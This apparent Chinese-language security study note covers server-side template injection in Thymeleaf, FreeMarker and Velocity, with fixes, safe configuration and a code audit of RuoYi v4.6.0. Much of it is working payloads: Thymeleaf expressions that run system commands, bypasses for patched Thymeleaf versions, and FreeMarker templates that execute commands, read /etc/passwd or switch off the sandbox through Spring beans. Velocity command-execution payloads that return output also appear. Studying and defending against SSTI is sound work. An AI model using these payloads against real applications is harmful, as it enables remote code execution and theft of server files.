Thymeleaf模板注入漏洞

简介

Thymeleaf服务器端模板注入(Server-Side Template Injection, SSTI)漏洞,通常发生在应用程序不安全地使用用户提供的动态输入来构建或解析Thymeleaf模板时。
简单来说,就是当你的应用程序将用户可控的数据直接作为Thymeleaf模板的一部分进行渲染时,攻击者可以通过精心构造恶意的Thymeleaf表达式作为输入发送给服务器。Thymeleaf引擎在处理这些数据时,会将其误认为是合法的模板指令或表达式,并尝试在服务器端执行这些恶意代码。

攻击原理

Thymeleaf强大的表达式语言是其核心特性之一,它允许开发者动态地设置模板中的值、执行逻辑、调用方法等。例如,${user.name}会被替换为用户的名字。
然而,如果攻击者能够控制这个表达式的内容,他们就可以注入恶意的Java代码,让Thymeleaf引擎在服务器上执行。一个经典的例子就是利用Java的反射机制来执行系统命令:

1
${T(java.lang.Runtime).getRuntime().exec('calc')}

这个表达式的含义是:

  • T(…):Thymeleaf表达式中的一个特殊语法,用于引用Java类。
  • java.lang.Runtime:Java标准库中用于与运行时环境交互的类。
  • .getRuntime():获取Runtime类的单例实例。
  • .exec(‘calc’):调用Runtime实例的exec方法来执行一个系统命令。在这里,它会尝试启动计算器程序(calc命令在Windows上有效)。

如果应用程序没有对用户输入进行严格的验证和过滤,并且将包含此恶意表达式的字符串直接传递给Thymeleaf引擎进行解析,那么calc命令就会在运行应用程序的服务器上被执行。

漏洞版本及修复

Thymeleaf 3.0.0至3.0.11版本存在这种模板注入漏洞。这些版本在处理一些动态表达式时可能存在缺陷,允许未经授权的代码执行。

针对Thymeleaf SSTI漏洞,可以采取以下修复和防范措施:

  1. 升级Thymeleaf版本

    这是最根本的解决方法。Thymeleaf在 3.0.12 及以后版本中增加了安全检测逻辑(SpringStandardExpressionUtils),会检查表达式是否包含危险的new关键字或T(...)形式的静态方法调用。虽然高版本可能存在绕过方式(如在T和类名之间插入空格T (Runtime)

  2. 安全的编码实践(治本之策)

    • 避免用户输入直接参与视图名拼接:这是最关键的代码审计和开发原则。
    • **使用@ResponseBody@RestController**:如果控制器方法只需返回数据而非视图名称,使用这些注解可以避免Spring进行视图解析。
    • 返回重定向视图:在返回值前明确加上"redirect:",这样会由RedirectView处理,而不是Thymeleaf视图解析器。
    • **方法参数中添加HttpServletResponse**:当方法参数中包含HttpServletResponse时,Spring会认为响应已由应用程序处理,从而跳过视图解析

POC及一些的绕过姿势

1
2
3
4
5
6
${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInp
utStream()).next()%7d
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).ge
tInputStream()).next()%7d__::.x
__${}__

3.0.15版本绕过可参考:https://cloud.tencent.com/developer/article/2501660

Thymeleaf 3.0.15版本中只要检测到"{"就会认为存在表达式内容,随后直接抛出异常停止解析来防范模板注入问题,此类场景用于我们URL PATH、Retruen、Fragment等可控的情况下进行,但是如果我们存在对模板文件进行更改、创建、上传等操作的时候我们还可以精心构造恶意的JAVA代码并将其写入模板中,随后触发执行

1
[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}]] //拿来绕黑名单

在Thymeleaf 3.0.15版本之后的模板注入主要集中在黑名单的绕过以及寻找可以更改目标文件的位置,例如:编辑、上传等功能点位

在3.0.12版本中的绕过可参考文章文章:https://rivers.chaitin.cn/blog/cq950pp0lnechd244ga0

RuoYi-v4.6.0

一切的前提肯定要存在themeleaf依赖,该项目依赖版本为3.0.11

对于模板注入的审计步骤:

1、关注是否存在模板文件篡改的问题(偏黑盒)

(1)后端模板文件修改

(2)任意文件上传覆盖模板文件:文件名要可控并且可以实现路径穿越从而进行覆盖

2、关注访问路由解析寻找对于模板文件是否可控(白盒)

1
2
(1)return "home-" + lang;(CN or EN) //正则表达匹配,关键是要有return和+
(2)return "welcome ::" + section; //直接全局搜索::

我们可以查看头像文件上传方法

image-20260112141700318

跟进去发现有限制文件后缀名

image-20260112141753788

白名单中允许上传html文件

image-20260112141824154

但是上传后的文件名会进行随机编码,所以无法进行覆盖

image-20260112142247724

第一种方式行不通,所以我们需要找找第二种方式是否存在,所以先进行全局搜索::

image-20260112142859819

可以看到符合条件的有四个,我们随便进一个看看具体情况

image-20260112143030473

也可以看到没有进行任何的过滤处理等等,该路由为post传参fragment=${T(java.lang.Runtime).getRuntime().exec("calc.exe")},构造请求,可以成功实现注入

FreeMarker模板注入漏洞

安全配置

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(className)获取任何类。
2、SAFER_RESOLVER:不能加载freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析

实现FreeMaker模板渲染的核心步骤如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import java.io.IOException;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;

public class FreeMarkerDemo {

public static void main(String[] args) {
// 1. 创建并配置FreeMarker核心对象
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
try {
// 设置模板文件所在的目录
cfg.setDirectoryForTemplateLoading(new java.io.File("src/main/resources/templates"));
// 设置默认字符编码,防止中文乱码
cfg.setDefaultEncoding("UTF-8");

// 2. 加载具体的模板文件
Template template = cfg.getTemplate("hello.ftl");

// 3. 准备数据模型(通常是一个Map或JavaBean)
Map<String, Object> dataModel = new HashMap<>();
dataModel.put("name", "World");
dataModel.put("currentYear", 2026);

// 4. 将模板和数据模型结合,渲染输出
// 使用StringWriter来捕获渲染后的字符串内容
try (StringWriter writer = new StringWriter()) {
template.process(dataModel, writer);
// 输出渲染结果
System.out.println(writer.toString());
}

} catch (IOException | TemplateException e) {
e.printStackTrace();
}
}
}

应的模板文件 hello.ftl(通常放在 src/main/resources/templates/目录下)内容如下

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>FreeMarker Demo</title>
</head>
<body>
<h1>Hello ${name}!</h1>
<p>Copyright © ${currentYear}</p>
</body>
</html>

如果想要进行安全配置的话,在上面的java代码中可以添加如下内容:

1
2
3
4
5
6
7
8
// 禁止解析ObjectConstructor、Execute和JythonRuntime这三个危险类
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

// 2. 禁用API内建函数 - 防止通过?api进行反射攻击
cfg.setAPIBuiltinEnabled(false);

// 3. 设置HTML输出格式,启用自动转义
cfg.setOutputFormat(Configuration.HTML_OUTPUT_FORMAT);

POC

命令执行POC

1.利用new内置函数执行命令

1
2
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("whoami")}

<#assign ex=...>:这是FreeMarker的赋值指令

2.利用api内置函数执行命令

1
2
3
4
5
<#assign uri=object?api.class.protectionDomain.codeSource.location.toURI()>
//这行代码的目的是获取当前Java类(object)所在的JAR包或类文件的路径URI
<#assign input=object?api.class.getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("whoami")>
${input?api.waitFor()}
//这行代码只等待进程结束,并没有进一步读取命令输出的具体内容

3.利用ObjectConstructor执行命令

1
2
3
<#assign obj="freemarker.template.utility.ObjectConstructor"?new()>
<#assign runtime=obj("java.lang.Runtime")>
${runtime.getRuntime().exec("whoami")}

文件读取POC

1.读取任意文件内容

1
2
3
4
5
6
<#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
<#assign br=object?api.class.forName("java.io.BufferedReader")?api.getconstructor(object?api.class.forName("java.io.InputStreamReader")).newInstance(is)>
<#list 1..10000 as i>
<#assign line=br?api.readLine()!"">
<#if 1ine?has_content>${line}<#else><#break></#if>
</#list>

2.使用FileInputStream读取文件

1
2
3
4
5
<#assign fis="java.io.FileInputStream"?new("/etc/passwd")>
<#assign isr="java.io.InputStreamReader"?new(fis)>
<#assign br="java.io.BufferedReader"?new(isr)>
<#assign line=br.readLine()>
${line}

3.读取文件并输出全部内容

1
2
3
4
5
6
7
<#assign obj="freemarker.template.utility.ObjectConstructor"?new()>
<#assign fr=obj("java.io.FileReader","/etc/passwd")>
<#assign br=obj("java.io.BufferedReader",fr)>
<#list 1..10000 as i>
<#assign line=br.readLine()!"">
<#if line?has_content>${line}<#else><#break></#if>
</#list>

漏洞存在

基本上该种模板注入漏洞存在于后端模板文件修改或上传的功能点,对应跟进去看代码,跟到最后基本就是通过process()函数来进行一个渲染,过程中要注意是否有进行一些安全配置

沙箱绕过

参考文章:https://cloud.tencent.com/developer/article/2463939

Freemarker存在编辑模板功能时为了防止模板注入通常会使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或设置new_builtin_class_resolver来限制内建函数对类的访问(从 2.3.17版开始),该配置有以下三种参数:

  • UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(String)获得任何类
  • SAFER_RESOLVER:禁止加载ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime这三个类
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类

2.3.30以下

方式1:绕过class.getClassloader反射加载Execute类

我们可以使用java.security.protectionDomain的getClassLoader方法来获得类加载器,随后再一步一步反射调用Execute类,此payload构造时需要在数据模型中找到一个作为对象的变量

1
2
3
4
5
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cmd.exe /c calc")}

举个例子,如下如所示,将payload中的object替换为archive插入载荷

image-20260113142231786

方式2:Spring Beans可用时直接禁用沙箱

此payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

1
2
3
4
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}

2.3.30以上

Freemarker在2.3.30中引入了一个基于MemberAccessPolicy的新沙箱且默认使用DefaultMemberAccessPolicy,但是漏洞的防护需要同时配置NewBuiltinClassResolver,否则用最开始的绕过payload即可攻击

首先查看黑名单文件unsafeMethods.properties文件发现其中并没有对ProtectionDomain.getClassLoader进行任何限制

image-20260113144349995

紧接着发现在2.3.30以上引入的memberAccessPolicy策略,发现DefaultMemberAccessPolicy有个对应的DefaultMemberAccessPolicy-rules文件,查看DefaultMemberAccessPolicy-rules时可以看到ProtectionDomain.getClassLoader在2.3.30开始已经被block

image-20260113144534648

@whitelistPolicyAssignable的意思是这个类下面被列出来的方法就是白名单方法,如果前面有#的就不再是白名单方法

但是只要配置中expose-spring-macro-helpers为true,那么就依旧可以执行禁用沙箱的payload

1
2
3
4
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}

总结

如果使用freemarker并给予编辑模版权限,除非freemarker版本在2.3.30及以上并配置new-builtin-class-resolver,否则均可被攻击,即使达到如上条件,如果expose-spring-macro-helpers为true,依然可以执行命令

Velocity模板注入漏洞

解析方法使用

Velocity在实际开发中有两种写法,一种是采用evaluate方法解析,一种是采用merge方法解析两种方法根据实际是应用场景需求选择,其本质都是对内容进行VTL解析

evaluate()动态解析字符串

注:下面是java代码

1
2
3
4
5
6
7
8
9
String dynamicTemplate="Hello, $user! Today is $dateTool.format('yyyy-MM-dd')";
VelocityContext context=new VelocityContext();
context.put("user","Alice");
context.put("dateTool",newDateTool());

StringWriter writer=new StringWriter();
Velocity.evaluate(context,writer,"LogTag",dynamicTemplate);//关键方法

System.out.println(writer.toString());

输出结果:

1
Hello, Alice! Today is 2026-01-13

merge()解析预定义模板

1
2
3
4
5
6
7
8
9
10
11
12
//适用于:Web页面渲染等固定模板场景
VelocityEngine engine=new VelocityEngine();
engine.init(/*配置见前文*/);

VelocityContext context=new VelocityContext();
context.put("items",Arrays.asList("Apple","Banana"));

Template template=engine.getTemplate("templates/list.vm");//加载文件
StringWriter writer=new StringWriter();
template.merge(context,writer);//关键方法

System.out.println(writer.toString());

模板文件

1
2
3
4
5
<ul>
#foreach($itemin$items)
<li>$velocityCount.$item</li>
#end
</ul>

输出结果

1
2
3
4
<ul>
<li>1.Apple</li>
<li>2.Banana</li>
</ul>

POC

<=2.4(?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//无回显
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

//有回显
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex = $rt.getRuntime().exec('whoami'))##
$ex.waitFor()
#set($out = $ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

//有回显
#set($e="exp")
#set($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc=$e.getClass().forName("java.util.Scanner"))
#set($constructor=$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

审计思路

1、看是否引入对应的依赖,关注版本是否符合利用<=2.4

2、通过全局搜索.evaluate(或.merge(或.getTemplate(方法查看是否存在使用

3、Velocity.evaluate(context,writer,”LogTag”,dynamicTemplate);关注dynamicTemplate是否可控,并且没有对输入进行过滤或限制

4、template.merge(context,writer);关注实例化的模板文件内容是否可控或可修改